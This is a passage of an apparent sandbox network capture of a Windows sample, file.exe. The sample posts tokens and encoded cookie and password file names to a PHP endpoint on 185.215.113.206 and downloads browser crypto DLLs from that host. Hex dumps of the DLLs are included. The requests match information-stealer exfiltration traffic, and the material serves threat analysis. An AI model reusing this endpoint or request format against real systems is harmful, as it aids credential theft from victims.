------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="file"------CFCBFHJECAKEHIECGIEB--
Oct 30, 2024 23:11:29.865614891 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49870	185.215.113.206	80	2800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 23:11:37.923096895 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJ Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 23:11:37.923149109 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 30, 2024 23:11:39.297698975 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 23:11:39.574565887 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file"------IJKKKFCFHCFIECBGDHID--
Oct 30, 2024 23:11:40.343852043 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 23:11:40.913841963 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 23:11:41.192533970 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 30, 2024 23:11:41.192568064 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 30, 2024 23:11:41.192579985 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 30, 2024 23:11:41.192656040 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 30, 2024 23:11:41.192668915 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 30, 2024 23:11:41.192784071 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Oct 30, 2024 23:11:41.192795992 CET	448	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Oct 30, 2024 23:11:41.192811012 CET	1236	IN	Data Raw: 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 6f f6 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 Data Ascii: >fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}
Oct 30, 2024 23:11:41.192821980 CET	1236	IN	Data Raw: f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f 70 c9 e8 66 0f 62 f1 66 0f eb f2 66 0f 6f d0 66 0f fe 15 f0 20 08 10 83 c8 08 66 0f 6e 0c 07 66 0f 60 cb 66 0f 61 cb 66 0f 72 f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 Data Ascii: fpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxE
Oct 30, 2024 23:11:41.192979097 CET	1236	IN	Data Raw: 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6 14 08 00 d3 0f b6 f3 8b 45 f0 0f b6 04 30 8b 7d f0 88 04 0f 8b 4d f0 88 14 31 00 d0 0f b6 c0 8b 4d f0 0f b6 0c 01 c1 e1 08 03 4d cc 8b 45 e8 8b 55 ec 01 d0 83 c0 03 0f b6 c0 8b 55 f0 0f b6 14 Data Ascii: EMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU3UMEM}}Eu;uUM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49980	185.215.113.206	80	2800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 23:11:47.857333899 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 23:11:48.781382084 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 30, 2024 23:11:48.781433105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 5d e9 07 ba 01 00 cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 40 89 ce a1 0c e0 08 10 31 e8 89 44 24 38 8b Data Ascii: U]USWV@1D$8=\|$D$I1J1;OBuN1;Ore$@DN1;OBu!N1;Os@utu9G$
Oct 30, 2024 23:11:48.781450033 CET	1236	IN	Data Raw: e3 fe 83 e7 01 09 df 89 7a 0c 89 56 08 8b 39 83 e7 01 09 f7 89 39 80 4a 0c 01 83 c4 04 5e 5f 5b 5d c3 83 c9 01 89 4e 0c 8b 4e 08 85 c9 75 23 8b 72 0c 89 f1 83 e1 fe 0f 84 b0 00 00 00 8b 79 08 83 e7 fe 83 e6 01 09 fe 89 72 0c 89 51 08 89 08 eb c8 Data Ascii: zV99J^_[]NNu#ryrQYtYJqryyzt]^zVQQiZ]Y]Yg~tY~qJ
Oct 30, 2024 23:11:48.781536102 CET	1236	IN	Data Raw: 0c 8b 4e 08 83 c9 01 89 4a 0c 89 56 08 89 30 5e 5f 5b 5d c3 89 72 0c eb f6 c7 05 f4 f8 08 10 a2 23 08 10 cc b9 b6 00 00 00 e8 3a b2 03 00 83 cf 01 89 7a 0c c7 05 f4 f8 08 10 a2 23 08 10 cc b9 a0 00 00 00 e8 1f b2 03 00 cc cc cc cc cc cc cc 55 89 Data Ascii: NJV0^_[]r#:z#USWVP2Fp8tGz~Hep2ppzz88J^
Oct 30, 2024 23:11:48.781552076 CET	1236	IN	Data Raw: ad 03 00 c7 02 00 00 00 00 c7 05 f4 f8 08 10 a2 23 08 10 cc b9 a9 00 00 00 e8 76 ad 03 00 8b 42 04 83 e0 01 89 46 04 c7 05 f4 f8 08 10 a2 23 08 10 cc b9 b6 00 00 00 e8 58 ad 03 00 55 89 e5 53 57 56 83 ec 10 89 4d e4 a1 0c e0 08 10 31 e8 89 45 f0 Data Ascii: #vBF#XUSWVM1E9Bh0,,hUEPji}Et}CsMKADP0\v
Oct 30, 2024 23:11:48.781567097 CET	1236	IN	Data Raw: a6 9f 07 00 8b 54 24 20 83 c4 0c 89 74 24 18 8b 46 18 01 d0 29 c3 8d 47 ff 85 c7 0f 95 c0 85 ff 0f 94 c1 08 c1 75 78 89 f8 83 c8 01 0f bd c8 d3 eb 89 7c 24 1c 89 d8 c1 e8 05 3b 42 04 0f 82 70 01 00 00 8b 7c 82 0c 31 f6 46 89 d9 d3 e6 0f a3 df 0f Data Ascii: T$ t$F)Gux\|$;Bp\|1F<\|BHJ\$;KAT$\|$tJ)z,t$(L$@1ae^_[]th;D$tNL$9x8
Oct 30, 2024 23:11:48.781583071 CET	1236	IN	Data Raw: fe ff ff 8b 1a 85 db 0f 85 26 04 00 00 8b 44 24 08 39 10 89 c2 0f 85 0a 05 00 00 89 0a 8b 4c 24 0c 8b 5c 24 18 8b 54 24 14 8b 44 24 30 89 43 04 31 ff 89 3e 8b 74 24 10 8b 44 24 24 89 7c 86 14 8b 7c 24 1c 6a 01 e8 09 60 02 00 8b 54 24 10 83 c4 04 Data Ascii: &D$9L$\$T$D$0C1>t$D$$\|\|$j`T$KQL$0D$$@T$DL$0D$DBWW9GQQOT$49:Y9
Oct 30, 2024 23:11:48.781666040 CET	1236	IN	Data Raw: 00 8b 31 83 e6 fe 83 e0 01 09 f0 89 42 04 89 11 8d 54 24 30 89 0a e9 d1 fc ff ff 83 c9 01 89 4e 04 8b 06 85 c0 74 08 8b 48 04 f6 c1 01 75 6f 8b 42 04 89 c1 83 e1 fe 0f 84 67 02 00 00 8b 31 83 e6 fe 83 e0 01 09 f0 89 42 04 89 11 e9 b3 fa ff ff 83 Data Ascii: 1BT$0NtHuoBg1BBBqq`G1G9"HAqqZ0Zqq
Oct 30, 2024 23:11:48.781721115 CET	1236	IN	Data Raw: 9a 03 00 31 c0 89 44 24 17 89 44 24 14 31 d2 31 c9 31 db eb 97 cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f0 81 ec 90 00 00 00 89 cf a1 0c e0 08 10 31 e8 89 84 24 88 00 00 00 a1 00 f7 08 10 8b 0d c8 e3 08 10 64 8b 15 2c 00 00 00 8b 0c 8a 3b 81 Data Ascii: 1D$D$111USWV1$d,;~lhy=uVhNt+hoPdu5<hx\|$\$XS#D$@jP(f
Oct 30, 2024 23:11:48.781738043 CET	1236	IN	Data Raw: 44 24 10 8b 4c 24 14 89 0d 0c e2 08 10 a3 08 e2 08 10 31 c0 8d 4c 24 20 89 01 8d 74 24 1c 89 06 8d 44 24 18 50 56 51 ff 15 74 be 08 10 8b 06 85 c0 0f 84 b5 02 00 00 48 b9 59 17 b7 d1 f7 e1 c1 ea 0d 69 da 10 27 00 00 b9 10 27 00 00 01 cb 8b 35 08 Data Ascii: D$L$1L$ t$D$PVQtHYi''5=<$jQRP'tp<$ii2k2x\|1N\$
Oct 30, 2024 23:11:48.787333012 CET	1120	IN	Data Raw: df 0f 43 fb 68 00 40 00 00 57 56 ff 15 30 bf 08 10 85 c0 0f 84 4d 02 00 00 01 fe 29 fb b8 00 00 10 00 39 c3 bf 00 00 10 00 0f 42 fb 85 db 75 d4 68 84 e7 08 10 ff 15 30 be 08 10 a1 2c e7 08 10 85 c0 0f 84 f1 01 00 00 89 45 e8 8b 00 a3 2c e7 08 10 Data Ascii: Ch@WV0M)9Buh0,E,hh0tLEU1y19GuIuIt{9]ECECCE
Oct 30, 2024 23:11:51.750966072 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 23:11:52.035300016 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 30, 2024 23:11:53.545104980 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 23:11:53.829355955 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 30, 2024 23:11:56.301995039 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 23:11:56.586321115 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 30, 2024 23:11:56.941910982 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 23:11:57.232655048 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 30, 2024 23:11:57.900506973 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 23:11:58.691720009 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
